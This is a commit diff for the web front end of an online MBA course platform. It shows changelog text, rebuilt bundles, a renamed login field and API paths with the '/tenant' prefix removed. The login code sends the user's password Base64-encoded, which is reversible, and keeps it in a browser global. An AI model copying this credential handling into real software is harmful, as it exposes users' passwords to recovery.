提交 aa6efcb6 authored 作者: GOD_ZYX's avatar GOD_ZYX

提交分支

上级 b2e2fa8d
PC-1.0.15 / 2019-06-06
==================
* 修改 所有接口请求方式 还是有很多内容 需要修改
* 暂时 只能在测试环境测试,不能发布。
PC-1.0.14 / 2019-06-05 PC-1.0.14 / 2019-06-05
================== ==================
......
...@@ -2,4 +2,4 @@ ...@@ -2,4 +2,4 @@
<script src="https://zws-imgs-pub.ezijing.com/static/build/learn-mba/static/compatible/console-polyfill.js"></script> <script src="https://zws-imgs-pub.ezijing.com/static/build/learn-mba/static/compatible/console-polyfill.js"></script>
<script src="https://zws-imgs-pub.ezijing.com/static/build/learn-mba/static/compatible/html5shiv.min.js"></script> <script src="https://zws-imgs-pub.ezijing.com/static/build/learn-mba/static/compatible/html5shiv.min.js"></script>
<script src="https://zws-imgs-pub.ezijing.com/static/build/learn-mba/static/compatible/respond.min.js"></script> <script src="https://zws-imgs-pub.ezijing.com/static/build/learn-mba/static/compatible/respond.min.js"></script>
<![endif]--><script type="text/javascript" src="https://zws-imgs-pub.ezijing.com/static/build/learn-mba/resources/manifest.04318f72.js"></script><script type="text/javascript" src="https://zws-imgs-pub.ezijing.com/static/build/learn-mba/resources/vendor.90efc743.js"></script><script type="text/javascript" src="https://zws-imgs-pub.ezijing.com/static/build/learn-mba/resources/app.12b1d369.js"></script></body></html> <![endif]--><script type="text/javascript" src="https://zws-imgs-pub.ezijing.com/static/build/learn-mba/resources/manifest.a0ff2c5a.js"></script><script type="text/javascript" src="https://zws-imgs-pub.ezijing.com/static/build/learn-mba/resources/vendor.90efc743.js"></script><script type="text/javascript" src="https://zws-imgs-pub.ezijing.com/static/build/learn-mba/resources/app.2b42e3f1.js"></script></body></html>
\ No newline at end of file \ No newline at end of file
(window.webpackJsonp=window.webpackJsonp||[]).push([[26],{250:function(t,e,r){"use strict";r.r(e);var n=r(435),s=r(294);for(var o in s)"default"!==o&&function(t){r.d(e,t,function(){return s[t]})}(o);var a=r(1),c=Object(a.a)(s.default,n.a,n.b,!1,null,null,null);c.options.__file="normal.vue",e.default=c.exports},294:function(t,e,r){"use strict";r.r(e);var n=r(295),s=r.n(n);for(var o in n)"default"!==o&&function(t){r.d(e,t,function(){return n[t]})}(o);e.default=s.a},295:function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,s=r(41),o=r(73),a=(n=o)&&n.__esModule?n:{default:n};e.default={props:{params:{type:Object,required:!1,default:{}},query:{type:Object,required:!1,default:{}}},data:function(){return{setAccount:{},accountRules:{user:[{required:!0,message:"请输入账号",trigger:"blur"},{pattern:/^(1[3-9]\d{9}|[\w\.]+@\w+(\.\w+)+)$/,message:"请输入正确格式的手机号/邮箱",trigger:"change"}],pwd:[{required:!0,message:"请输入密码",trigger:"blur"}]}}},methods:{onSubmitSetAccount:function(){var e=this;this.$refs.setAccountform.validate(function(t){if(!t)return e.$message.error("请根据输入框提示,检查输入项。"),!1;(0,s.request)({component:e,actionName:"loginAction",functionName:"userLogin",data:{account:e.setAccount.user,password:e.$md5("uokoaduw"+e.setAccount.pwd.split("").reverse().join("")+"auhgniq"),pwd:a.default.encode("uokoaduw"+e.setAccount.pwd.split("").reverse().join("")+"auhgniq")},thenCallback:function(t){e.query.rd?e.$router.push({path:decodeURIComponent(e.query.rd)}):(window.G.pwd=a.default.encode("uokoaduw"+e.setAccount.pwd.split("").reverse().join("")+"auhgniq"),e.$router.push({path:"/app/my-learn/course"}))},catchCallback:function(){},finallyCallback:function(){}})})}}}},393:function(t,e,r){t.exports=r.p+"resources/login-left-bg.1a456b4f.png"},435:function(t,e,r){"use strict";var n=function(){var e=this,t=e.$createElement,r=e._self._c||t;return r("div",{staticClass:"row"},[e._m(0),e._v(" "),r("div",{staticClass:"col-12 col-md-7 col-lg-5 col-xl-4"},[r("el-form",{ref:"setAccountform",attrs:{model:e.setAccount,rules:e.accountRules}},[r("el-form-item",{attrs:{prop:"user"}},[r("el-input",{staticClass:"self-input",attrs:{type:"text",placeholder:"手机/邮箱"},nativeOn:{keyup:function(t){return"button"in t||!e._k(t.keyCode,"enter",13,t.key,"Enter")?e.onSubmitSetAccount(t):null}},model:{value:e.setAccount.user,callback:function(t){e.$set(e.setAccount,"user",t)},expression:"setAccount.user"}},[r("i",{staticClass:"el-input__icon el-icon-self-character",attrs:{slot:"prefix"},slot:"prefix"})])],1),e._v(" "),r("el-form-item",{attrs:{prop:"pwd"}},[r("el-input",{attrs:{type:"password",placeholder:"密码"},nativeOn:{keyup:function(t){return"button"in t||!e._k(t.keyCode,"enter",13,t.key,"Enter")?e.onSubmitSetAccount(t):null}},model:{value:e.setAccount.pwd,callback:function(t){e.$set(e.setAccount,"pwd",t)},expression:"setAccount.pwd"}},[r("i",{staticClass:"el-input__icon el-icon-self-mima",attrs:{slot:"prefix"},slot:"prefix"})])],1),e._v(" "),r("el-form-item",[r("el-button",{staticClass:"login-btn",attrs:{type:"primary"},on:{click:e.onSubmitSetAccount}},[e._v("登录")])],1),e._v(" "),r("div",{staticClass:"text"},[r("span",{staticClass:"code-login"},[e.query.rd?[r("router-link",{staticClass:"router-link-class",attrs:{"active-class":"router-link-active-class",to:{path:"/login/code?rd="+e.query.rd}}},[e._v("验证码登录")])]:[r("router-link",{staticClass:"router-link-class",attrs:{"active-class":"router-link-active-class",to:{name:"codeLogin"}}},[e._v("验证码登录")])]],2),e._v(" "),r("span",{staticClass:"forget-pwd"},[e.query.rd?[r("router-link",{staticClass:"router-link-class",attrs:{"active-class":"router-link-active-class",to:{path:"/login/forget?rd="+e.query.rd}}},[e._v("忘记密码")])]:[r("router-link",{staticClass:"router-link-class",attrs:{"active-class":"router-link-active-class",to:{name:"forgetPwd"}}},[e._v("忘记密码")])]],2)])],1)],1)])},s=[function(){var t=this.$createElement,e=this._self._c||t;return e("div",{staticClass:"hidden-xs-only col-md-5 col-lg-6 col-xl-6"},[e("img",{attrs:{src:r(393),alt:"左侧-sofia logo"}})])}];r.d(e,"a",function(){return n}),r.d(e,"b",function(){return s})}}]); (window.webpackJsonp=window.webpackJsonp||[]).push([[26],{250:function(t,e,r){"use strict";r.r(e);var n=r(435),s=r(294);for(var o in s)"default"!==o&&function(t){r.d(e,t,function(){return s[t]})}(o);var a=r(1),c=Object(a.a)(s.default,n.a,n.b,!1,null,null,null);c.options.__file="normal.vue",e.default=c.exports},294:function(t,e,r){"use strict";r.r(e);var n=r(295),s=r.n(n);for(var o in n)"default"!==o&&function(t){r.d(e,t,function(){return n[t]})}(o);e.default=s.a},295:function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,s=r(41),o=r(73),a=(n=o)&&n.__esModule?n:{default:n};e.default={props:{params:{type:Object,required:!1,default:{}},query:{type:Object,required:!1,default:{}}},data:function(){return{setAccount:{},accountRules:{user:[{required:!0,message:"请输入账号",trigger:"blur"},{pattern:/^(1[3-9]\d{9}|[\w\.]+@\w+(\.\w+)+)$/,message:"请输入正确格式的手机号/邮箱",trigger:"change"}],pwd:[{required:!0,message:"请输入密码",trigger:"blur"}]}}},methods:{onSubmitSetAccount:function(){var e=this;this.$refs.setAccountform.validate(function(t){if(!t)return e.$message.error("请根据输入框提示,检查输入项。"),!1;(0,s.request)({component:e,actionName:"loginAction",functionName:"userLogin",data:{login_name:e.setAccount.user,password:e.$md5("uokoaduw"+e.setAccount.pwd.split("").reverse().join("")+"auhgniq"),pwd:a.default.encode("uokoaduw"+e.setAccount.pwd.split("").reverse().join("")+"auhgniq")},thenCallback:function(t){e.query.rd?e.$router.push({path:decodeURIComponent(e.query.rd)}):(window.G.pwd=a.default.encode("uokoaduw"+e.setAccount.pwd.split("").reverse().join("")+"auhgniq"),e.$router.push({path:"/app/my-learn/course"}))},catchCallback:function(){},finallyCallback:function(){}})})}}}},393:function(t,e,r){t.exports=r.p+"resources/login-left-bg.1a456b4f.png"},435:function(t,e,r){"use strict";var n=function(){var e=this,t=e.$createElement,r=e._self._c||t;return r("div",{staticClass:"row"},[e._m(0),e._v(" "),r("div",{staticClass:"col-12 col-md-7 col-lg-5 col-xl-4"},[r("el-form",{ref:"setAccountform",attrs:{model:e.setAccount,rules:e.accountRules}},[r("el-form-item",{attrs:{prop:"user"}},[r("el-input",{staticClass:"self-input",attrs:{type:"text",placeholder:"手机/邮箱"},nativeOn:{keyup:function(t){return"button"in t||!e._k(t.keyCode,"enter",13,t.key,"Enter")?e.onSubmitSetAccount(t):null}},model:{value:e.setAccount.user,callback:function(t){e.$set(e.setAccount,"user",t)},expression:"setAccount.user"}},[r("i",{staticClass:"el-input__icon el-icon-self-character",attrs:{slot:"prefix"},slot:"prefix"})])],1),e._v(" "),r("el-form-item",{attrs:{prop:"pwd"}},[r("el-input",{attrs:{type:"password",placeholder:"密码"},nativeOn:{keyup:function(t){return"button"in t||!e._k(t.keyCode,"enter",13,t.key,"Enter")?e.onSubmitSetAccount(t):null}},model:{value:e.setAccount.pwd,callback:function(t){e.$set(e.setAccount,"pwd",t)},expression:"setAccount.pwd"}},[r("i",{staticClass:"el-input__icon el-icon-self-mima",attrs:{slot:"prefix"},slot:"prefix"})])],1),e._v(" "),r("el-form-item",[r("el-button",{staticClass:"login-btn",attrs:{type:"primary"},on:{click:e.onSubmitSetAccount}},[e._v("登录")])],1),e._v(" "),r("div",{staticClass:"text"},[r("span",{staticClass:"code-login"},[e.query.rd?[r("router-link",{staticClass:"router-link-class",attrs:{"active-class":"router-link-active-class",to:{path:"/login/code?rd="+e.query.rd}}},[e._v("验证码登录")])]:[r("router-link",{staticClass:"router-link-class",attrs:{"active-class":"router-link-active-class",to:{name:"codeLogin"}}},[e._v("验证码登录")])]],2),e._v(" "),r("span",{staticClass:"forget-pwd"},[e.query.rd?[r("router-link",{staticClass:"router-link-class",attrs:{"active-class":"router-link-active-class",to:{path:"/login/forget?rd="+e.query.rd}}},[e._v("忘记密码")])]:[r("router-link",{staticClass:"router-link-class",attrs:{"active-class":"router-link-active-class",to:{name:"forgetPwd"}}},[e._v("忘记密码")])]],2)])],1)],1)])},s=[function(){var t=this.$createElement,e=this._self._c||t;return e("div",{staticClass:"hidden-xs-only col-md-5 col-lg-6 col-xl-6"},[e("img",{attrs:{src:r(393),alt:"左侧-sofia logo"}})])}];r.d(e,"a",function(){return n}),r.d(e,"b",function(){return s})}}]);
\ No newline at end of file \ No newline at end of file
差异被折叠。
差异被折叠。
!function(d){function e(e){for(var t,r,n=e[0],a=e[1],c=e[2],o=0,f=[];o<n.length;o++)r=n[o],b[r]&&f.push(b[r][0]),b[r]=0;for(t in a)Object.prototype.hasOwnProperty.call(a,t)&&(d[t]=a[t]);for(p&&p(e);f.length;)f.shift()();return i.push.apply(i,c||[]),u()}function u(){for(var e,t=0;t<i.length;t++){for(var r=i[t],n=!0,a=1;a<r.length;a++){var c=r[a];0!==b[c]&&(n=!1)}n&&(i.splice(t--,1),e=s(s.s=r[0]))}return e}var r={},l={3:0},b={3:0},i=[];function s(e){if(r[e])return r[e].exports;var t=r[e]={i:e,l:!1,exports:{}};return d[e].call(t.exports,t,t.exports,s),t.l=!0,t.exports}s.e=function(i){var e=[];l[i]?e.push(l[i]):0!==l[i]&&{0:1,5:1,6:1,7:1,8:1,9:1,10:1,11:1,12:1,13:1,14:1,15:1,16:1,17:1,18:1,19:1,20:1,21:1,22:1,23:1,24:1,25:1}[i]&&e.push(l[i]=new Promise(function(e,n){for(var t="resources/"+({}[i]||i)+"."+{0:"7e9c19881242",1:"31d6cfe0d16a",5:"b6a10460f085",6:"0069f7ea7855",7:"b7a3b3beb3de",8:"edadd3d1dece",9:"2b76410db4d0",10:"30b36ab56f09",11:"7275abdd54ff",12:"e14af2852dbd",13:"03a7345988fb",14:"7bd34c9db226",15:"fc688477e0f2",16:"9c95c5430f41",17:"081b63b62922",18:"69bf85281bf8",19:"fca5eccb0e56",20:"cdc25c4261cf",21:"abf993cecc16",22:"da1346fedd49",23:"5ba1b1bc7480",24:"43ee51cf782c",25:"12c536f6abaf",26:"31d6cfe0d16a",27:"31d6cfe0d16a",28:"31d6cfe0d16a",29:"31d6cfe0d16a",30:"31d6cfe0d16a",31:"31d6cfe0d16a",32:"31d6cfe0d16a",33:"31d6cfe0d16a"}[i]+".css",a=s.p+t,r=document.getElementsByTagName("link"),c=0;c<r.length;c++){var o=(d=r[c]).getAttribute("data-href")||d.getAttribute("href");if("stylesheet"===d.rel&&(o===t||o===a))return e()}var f=document.getElementsByTagName("style");for(c=0;c<f.length;c++){var d;if((o=(d=f[c]).getAttribute("data-href"))===t||o===a)return e()}var u=document.createElement("link");u.rel="stylesheet",u.type="text/css",u.onload=e,u.onerror=function(e){var t=e&&e.target&&e.target.src||a,r=new Error("Loading CSS chunk "+i+" failed.\n("+t+")");r.request=t,delete l[i],u.parentNode.removeChild(u),n(r)},u.href=a,document.getElementsByTagName("head")[0].appendChild(u)}).then(function(){l[i]=0}));var t,r=b[i];if(0!==r)if(r)e.push(r[2]);else{var n=new Promise(function(e,t){r=b[i]=[e,t]});e.push(r[2]=n);var a,c=document.getElementsByTagName("head")[0],o=document.createElement("script");o.charset="utf-8",o.timeout=120,s.nc&&o.setAttribute("nonce",s.nc),o.src=s.p+"resources/"+({}[t=i]||t)+"."+{0:"ce816893",1:"46d7f9f3",5:"838bc7b4",6:"2c68d171",7:"91ffbfb3",8:"8069cfef",9:"fb4debab",10:"79cec249",11:"ab2ede65",12:"aa643f9d",13:"ccf7cf48",14:"46fd8cda",15:"c478c99e",16:"c5e6147d",17:"83f61edd",18:"f002b18a",19:"3266ba87",20:"92c2491c",21:"b3bed3b3",22:"e3ca5e96",23:"9808c0a1",24:"a7d17575",25:"68964f06",26:"11c4abb4",27:"c4252e04",28:"02e3da72",29:"ca65a5d7",30:"afe88874",31:"89910775",32:"3c83e649",33:"912ce55b"}[t]+".js",a=function(e){o.onerror=o.onload=null,clearTimeout(f);var t=b[i];if(0!==t){if(t){var r=e&&("load"===e.type?"missing":e.type),n=e&&e.target&&e.target.src,a=new Error("Loading chunk "+i+" failed.\n("+r+": "+n+")");a.type=r,a.request=n,t[1](a)}b[i]=void 0}};var f=setTimeout(function(){a({type:"timeout",target:o})},12e4);o.onerror=o.onload=a,c.appendChild(o)}return Promise.all(e)},s.m=d,s.c=r,s.d=function(e,t,r){s.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:r})},s.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},s.t=function(t,e){if(1&e&&(t=s(t)),8&e)return t;if(4&e&&"object"==typeof t&&t&&t.__esModule)return t;var r=Object.create(null);if(s.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:t}),2&e&&"string"!=typeof t)for(var n in t)s.d(r,n,function(e){return t[e]}.bind(null,n));return r},s.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return s.d(t,"a",t),t},s.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},s.p="https://zws-imgs-pub.ezijing.com/static/build/learn-mba/",s.oe=function(e){throw console.error(e),e};var t=window.webpackJsonp=window.webpackJsonp||[],n=t.push.bind(t);t.push=e,t=t.slice();for(var a=0;a<t.length;a++)e(t[a]);var p=n;u()}([]); !function(d){function e(e){for(var t,r,n=e[0],a=e[1],c=e[2],o=0,f=[];o<n.length;o++)r=n[o],b[r]&&f.push(b[r][0]),b[r]=0;for(t in a)Object.prototype.hasOwnProperty.call(a,t)&&(d[t]=a[t]);for(p&&p(e);f.length;)f.shift()();return i.push.apply(i,c||[]),u()}function u(){for(var e,t=0;t<i.length;t++){for(var r=i[t],n=!0,a=1;a<r.length;a++){var c=r[a];0!==b[c]&&(n=!1)}n&&(i.splice(t--,1),e=s(s.s=r[0]))}return e}var r={},l={3:0},b={3:0},i=[];function s(e){if(r[e])return r[e].exports;var t=r[e]={i:e,l:!1,exports:{}};return d[e].call(t.exports,t,t.exports,s),t.l=!0,t.exports}s.e=function(i){var e=[];l[i]?e.push(l[i]):0!==l[i]&&{0:1,5:1,6:1,7:1,8:1,9:1,10:1,11:1,12:1,13:1,14:1,15:1,16:1,17:1,18:1,19:1,20:1,21:1,22:1,23:1,24:1,25:1}[i]&&e.push(l[i]=new Promise(function(e,n){for(var t="resources/"+({}[i]||i)+"."+{0:"7e9c19881242",1:"31d6cfe0d16a",5:"b6a10460f085",6:"0069f7ea7855",7:"b7a3b3beb3de",8:"edadd3d1dece",9:"2b76410db4d0",10:"30b36ab56f09",11:"7275abdd54ff",12:"e14af2852dbd",13:"03a7345988fb",14:"7bd34c9db226",15:"fc688477e0f2",16:"9c95c5430f41",17:"081b63b62922",18:"69bf85281bf8",19:"fca5eccb0e56",20:"cdc25c4261cf",21:"abf993cecc16",22:"da1346fedd49",23:"5ba1b1bc7480",24:"43ee51cf782c",25:"12c536f6abaf",26:"31d6cfe0d16a",27:"31d6cfe0d16a",28:"31d6cfe0d16a",29:"31d6cfe0d16a",30:"31d6cfe0d16a",31:"31d6cfe0d16a",32:"31d6cfe0d16a",33:"31d6cfe0d16a"}[i]+".css",a=s.p+t,r=document.getElementsByTagName("link"),c=0;c<r.length;c++){var o=(d=r[c]).getAttribute("data-href")||d.getAttribute("href");if("stylesheet"===d.rel&&(o===t||o===a))return e()}var f=document.getElementsByTagName("style");for(c=0;c<f.length;c++){var d;if((o=(d=f[c]).getAttribute("data-href"))===t||o===a)return e()}var u=document.createElement("link");u.rel="stylesheet",u.type="text/css",u.onload=e,u.onerror=function(e){var t=e&&e.target&&e.target.src||a,r=new Error("Loading CSS chunk "+i+" failed.\n("+t+")");r.request=t,delete l[i],u.parentNode.removeChild(u),n(r)},u.href=a,document.getElementsByTagName("head")[0].appendChild(u)}).then(function(){l[i]=0}));var t,r=b[i];if(0!==r)if(r)e.push(r[2]);else{var n=new Promise(function(e,t){r=b[i]=[e,t]});e.push(r[2]=n);var a,c=document.getElementsByTagName("head")[0],o=document.createElement("script");o.charset="utf-8",o.timeout=120,s.nc&&o.setAttribute("nonce",s.nc),o.src=s.p+"resources/"+({}[t=i]||t)+"."+{0:"ce816893",1:"46d7f9f3",5:"838bc7b4",6:"2c68d171",7:"91ffbfb3",8:"8069cfef",9:"fb4debab",10:"79cec249",11:"ab2ede65",12:"aa643f9d",13:"ccf7cf48",14:"46fd8cda",15:"c478c99e",16:"c5e6147d",17:"83f61edd",18:"f002b18a",19:"3266ba87",20:"92c2491c",21:"b3bed3b3",22:"e3ca5e96",23:"9808c0a1",24:"a7d17575",25:"68964f06",26:"e977fb7c",27:"c4252e04",28:"02e3da72",29:"ca65a5d7",30:"afe88874",31:"89910775",32:"3c83e649",33:"912ce55b"}[t]+".js",a=function(e){o.onerror=o.onload=null,clearTimeout(f);var t=b[i];if(0!==t){if(t){var r=e&&("load"===e.type?"missing":e.type),n=e&&e.target&&e.target.src,a=new Error("Loading chunk "+i+" failed.\n("+r+": "+n+")");a.type=r,a.request=n,t[1](a)}b[i]=void 0}};var f=setTimeout(function(){a({type:"timeout",target:o})},12e4);o.onerror=o.onload=a,c.appendChild(o)}return Promise.all(e)},s.m=d,s.c=r,s.d=function(e,t,r){s.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:r})},s.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},s.t=function(t,e){if(1&e&&(t=s(t)),8&e)return t;if(4&e&&"object"==typeof t&&t&&t.__esModule)return t;var r=Object.create(null);if(s.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:t}),2&e&&"string"!=typeof t)for(var n in t)s.d(r,n,function(e){return t[e]}.bind(null,n));return r},s.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return s.d(t,"a",t),t},s.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},s.p="https://zws-imgs-pub.ezijing.com/static/build/learn-mba/",s.oe=function(e){throw console.error(e),e};var t=window.webpackJsonp=window.webpackJsonp||[],n=t.push.bind(t);t.push=e,t=t.slice();for(var a=0;a<t.length;a++)e(t[a]);var p=n;u()}([]);
\ No newline at end of file \ No newline at end of file
...@@ -74,7 +74,7 @@ export default { ...@@ -74,7 +74,7 @@ export default {
actionName: 'loginAction', actionName: 'loginAction',
functionName: 'userLogin', functionName: 'userLogin',
data: { data: {
account: this.setAccount.user, login_name: this.setAccount.user,
password: this.$md5('uokoaduw' + this.setAccount.pwd.split('').reverse().join('') + 'auhgniq'), password: this.$md5('uokoaduw' + this.setAccount.pwd.split('').reverse().join('') + 'auhgniq'),
pwd: Base64.encode('uokoaduw' + this.setAccount.pwd.split('').reverse().join('') + 'auhgniq') // 追加上 密码 pwd: Base64.encode('uokoaduw' + this.setAccount.pwd.split('').reverse().join('') + 'auhgniq') // 追加上 密码
}, },
......
...@@ -7,19 +7,19 @@ export default class ChapterAPI extends BaseAPI { ...@@ -7,19 +7,19 @@ export default class ChapterAPI extends BaseAPI {
* @param {[string]} cur_semester_id -> sid * @param {[string]} cur_semester_id -> sid
* @param {[string]} cur_video_id -> vid * @param {[string]} cur_video_id -> vid
*/ */
getChapterList = (cid, sid, vid) => this.get(`/tenant/v2/education/courses/${sid}/${cid}`, {}) getChapterList = (cid, sid, vid) => this.get(`/v2/education/courses/${sid}/${cid}`, {})
/** /**
* 获取对应某个章节的详细信息 * 获取对应某个章节的详细信息
* @param {[string]} vid * @param {[string]} vid
*/ */
getCurrentChapterDetail = (vid) => this.post('/tenant/v2/education/video-streaming', { vid }) getCurrentChapterDetail = (vid) => this.post('/v2/education/video-streaming', { vid })
/** /**
* 获取进度信息 * 获取进度信息
* @param {[string]} vid * @param {[string]} vid
* @param {[string]} did * @param {[string]} did
* @param {[string]} sid * @param {[string]} sid
*/ */
getProgress = (vid, did, sid) => this.get(`/tenant/v2/education/video/${sid}/${vid}/device`, { device_id: did }) getProgress = (vid, did, sid) => this.get(`/v2/education/video/${sid}/${vid}/device`, { device_id: did })
/** /**
* 提交进度信息 * 提交进度信息
* @param {[object]} obj * @param {[object]} obj
...@@ -32,50 +32,50 @@ export default class ChapterAPI extends BaseAPI { ...@@ -32,50 +32,50 @@ export default class ChapterAPI extends BaseAPI {
_m: obj.mpt, // 当前播放最大时间 _m: obj.mpt, // 当前播放最大时间
_c: obj.cpt // 当前播放位置 _c: obj.cpt // 当前播放位置
*/ */
updateProgress = (obj = {}) => this.get('/tenant/v2/analytics/upload-video', obj) updateProgress = (obj = {}) => this.get('/v2/analytics/upload-video', obj)
/** /**
* 获取试题信息 * 获取试题信息
* @param {[string]} eid * @param {[string]} eid
* @param {[string]} sid * @param {[string]} sid
*/ */
getExamDetail = (sid, eid) => this.get(`/tenant/v2/education/homeworks/${sid}/${eid}`, {}) getExamDetail = (sid, eid) => this.get(`/v2/education/homeworks/${sid}/${eid}`, {})
/** /**
* 提交考试信息 * 提交考试信息
* @param {[object]} param * @param {[object]} param
*/ */
submitExamDetail = (param) => this.post(`/tenant/v2/education/homeworks`, param) submitExamDetail = (param) => this.post(`/v2/education/homeworks`, param)
/** /**
* 获取对应 作业或问题 回答 * 获取对应 作业或问题 回答
* @param {[string]} sid * @param {[string]} sid
* @param {[string]} id resource_id * @param {[string]} id resource_id
*/ */
getHomework = (sid, id) => this.get(`/tenant/v2/education/homeworks/${sid}/${id}`, {}) getHomework = (sid, id) => this.get(`/v2/education/homeworks/${sid}/${id}`, {})
/** /**
* 文件提交 * 文件提交
* @param {[object]} obj * @param {[object]} obj
*/ */
uploadFile = (obj = {}) => this.post('/tenant/util/upload-file', obj, { headers: { 'Content-Type': 'multipart/form-data' } }) uploadFile = (obj = {}) => this.post('/util/upload-file', obj, { headers: { 'Content-Type': 'multipart/form-data' } })
/** /**
* 提交课程 作业或问题 * 提交课程 作业或问题
*/ */
updateHomework = (obj = {}) => this.post('/tenant/v2/education/homeworks', obj, { headers: { 'Content-Type': 'multipart/form-data' } }) updateHomework = (obj = {}) => this.post('/v2/education/homeworks', obj, { headers: { 'Content-Type': 'multipart/form-data' } })
/** /**
* 获取对应 大作业 回答 * 获取对应 大作业 回答
* @param {[string]} sid * @param {[string]} sid
* @param {[string]} cid * @param {[string]} cid
*/ */
getCourseHomework = (sid, cid) => this.get(`/tenant/v2/education/courses/${sid}/${cid}/essay`, {}) getCourseHomework = (sid, cid) => this.get(`/v2/education/courses/${sid}/${cid}/essay`, {})
/** /**
* 提交课程 大作业 * 提交课程 大作业
* @param {[string]} sid * @param {[string]} sid
* @param {[string]} cid * @param {[string]} cid
*/ */
updateCourseHomework = (sid, cid, obj = {}) => this.post(`/tenant/v2/education/courses/${sid}/${cid}/essay`, obj, { headers: { 'Content-Type': 'multipart/form-data' } }) updateCourseHomework = (sid, cid, obj = {}) => this.post(`/v2/education/courses/${sid}/${cid}/essay`, obj, { headers: { 'Content-Type': 'multipart/form-data' } })
/** /**
* 提交 课程考核 * 提交 课程考核
* @param {[string]} obj.sid * @param {[string]} obj.sid
* @param {[string]} obj.cid * @param {[string]} obj.cid
* @param {[string]} obj.raw (base64) * @param {[string]} obj.raw (base64)
*/ */
updateSurveyAnswer = (obj) => this.post(`/tenant/v2/education/survey/answer`, obj) updateSurveyAnswer = (obj) => this.post(`/v2/education/survey/answer`, obj)
} }
...@@ -4,35 +4,35 @@ export default class CourseAPI extends BaseAPI { ...@@ -4,35 +4,35 @@ export default class CourseAPI extends BaseAPI {
/** /**
* 获取学期分类信息 * 获取学期分类信息
*/ */
getlearnFindList = () => this.get('/tenant/v2/education/semesters', {}) getlearnFindList = () => this.get('/v2/education/semesters', {})
/** /**
* 获取所有课程列表 - 选课广场 和 我的课程 共用同一个,通过 isMy判断 * 获取所有课程列表 - 选课广场 和 我的课程 共用同一个,通过 isMy判断
* @param {[string]} isMy * @param {[string]} isMy
* @param {[object]} param * @param {[object]} param
*/ */
getCourseList = (isMy, param) => this.get('/tenant/v2/education/courses' + (isMy ? '/my' : ''), param) getCourseList = (isMy, param) => this.get('/v2/education/courses' + (isMy ? '/my' : ''), param)
/** /**
* 获取某个课程详细信息 - 课程考核 和 课程讨论单独获取 * 获取某个课程详细信息 - 课程考核 和 课程讨论单独获取
* @param {[string]} id * @param {[string]} id
* @param {[string]} sid * @param {[string]} sid
*/ */
getCourseDetail = (id, sid) => this.get(`/tenant/v2/education/courses/${sid}/${id}`, {}) getCourseDetail = (id, sid) => this.get(`/v2/education/courses/${sid}/${id}`, {})
/** /**
* 获取课程考核信息 * 获取课程考核信息
* @param {[string]} cid * @param {[string]} cid
* @param {[string]} sid * @param {[string]} sid
*/ */
getCourseAssess = (cid, sid) => this.get(`/tenant/v2/analytics/courses/${sid}/${cid}/evaluation`, {}) getCourseAssess = (cid, sid) => this.get(`/v2/analytics/courses/${sid}/${cid}/evaluation`, {})
/** /**
* 选课 * 选课
* @param {[string]} cid * @param {[string]} cid
* @param {[string]} sid * @param {[string]} sid
*/ */
selectCourse = (cid, sid) => this.post(`/tenant/v2/education/courses/major`, { course_id: cid, semester_id: sid }) selectCourse = (cid, sid) => this.post(`/v2/education/courses/major`, { course_id: cid, semester_id: sid })
/** /**
* 退课 * 退课
* @param {[string]} cid * @param {[string]} cid
* @param {[string]} sid * @param {[string]} sid
*/ */
outSelectCourse = (cid, sid) => this.post(`/tenant/v2/education/courses/drop`, { course_id: cid, semester_id: sid }) outSelectCourse = (cid, sid) => this.post(`/v2/education/courses/drop`, { course_id: cid, semester_id: sid })
} }
...@@ -8,7 +8,7 @@ export default class DiscussAPI extends BaseAPI { ...@@ -8,7 +8,7 @@ export default class DiscussAPI extends BaseAPI {
* @param {[string]} path * @param {[string]} path
* @param {[object]} dataJson * @param {[object]} dataJson
*/ */
getDiscussList = (path, dataJson) => this.get('/tenant/v2/qa/questions' + path, dataJson) getDiscussList = (path, dataJson) => this.get('/v2/qa/questions' + path, dataJson)
/** /**
* 获取讨论题目列表,“课程的问题”信息 * 获取讨论题目列表,“课程的问题”信息
* dataJson.limit - 获取数量 * dataJson.limit - 获取数量
...@@ -18,50 +18,50 @@ export default class DiscussAPI extends BaseAPI { ...@@ -18,50 +18,50 @@ export default class DiscussAPI extends BaseAPI {
* @param {[string]} sid * @param {[string]} sid
* @param {[object]} dataJson * @param {[object]} dataJson
*/ */
getCourseDiscussList = (cid, sid, dataJson) => this.get(`/tenant/v2/qa/questions/course/${sid}/${cid}`, dataJson) getCourseDiscussList = (cid, sid, dataJson) => this.get(`/v2/qa/questions/course/${sid}/${cid}`, dataJson)
/** /**
* 获取问题详情 * 获取问题详情
* @param {[string]} qid * @param {[string]} qid
*/ */
getDiscussDetail = (qid) => this.get(`/tenant/v2/qa/questions/${qid}`, {}) getDiscussDetail = (qid) => this.get(`/v2/qa/questions/${qid}`, {})
/** /**
* 删除提问 * 删除提问
* @param {[string]} qid * @param {[string]} qid
*/ */
deleteDiscuss = (qid) => this.delete(`/tenant/v2/qa/questions/${qid}`, {}) deleteDiscuss = (qid) => this.delete(`/v2/qa/questions/${qid}`, {})
/** /**
* 提出问题 * 提出问题
* @param {[object]} param * @param {[object]} param
*/ */
publishQues = (param) => this.post(`/tenant/v2/qa/questions`, param) publishQues = (param) => this.post(`/v2/qa/questions`, param)
/** /**
* 回答问题 * 回答问题
* @param {[object]} param * @param {[object]} param
*/ */
answerQues = (param) => this.post(`/tenant/v2/qa/answers`, param) answerQues = (param) => this.post(`/v2/qa/answers`, param)
/** /**
* 删除回答 * 删除回答
* @param {[string]} aid * @param {[string]} aid
*/ */
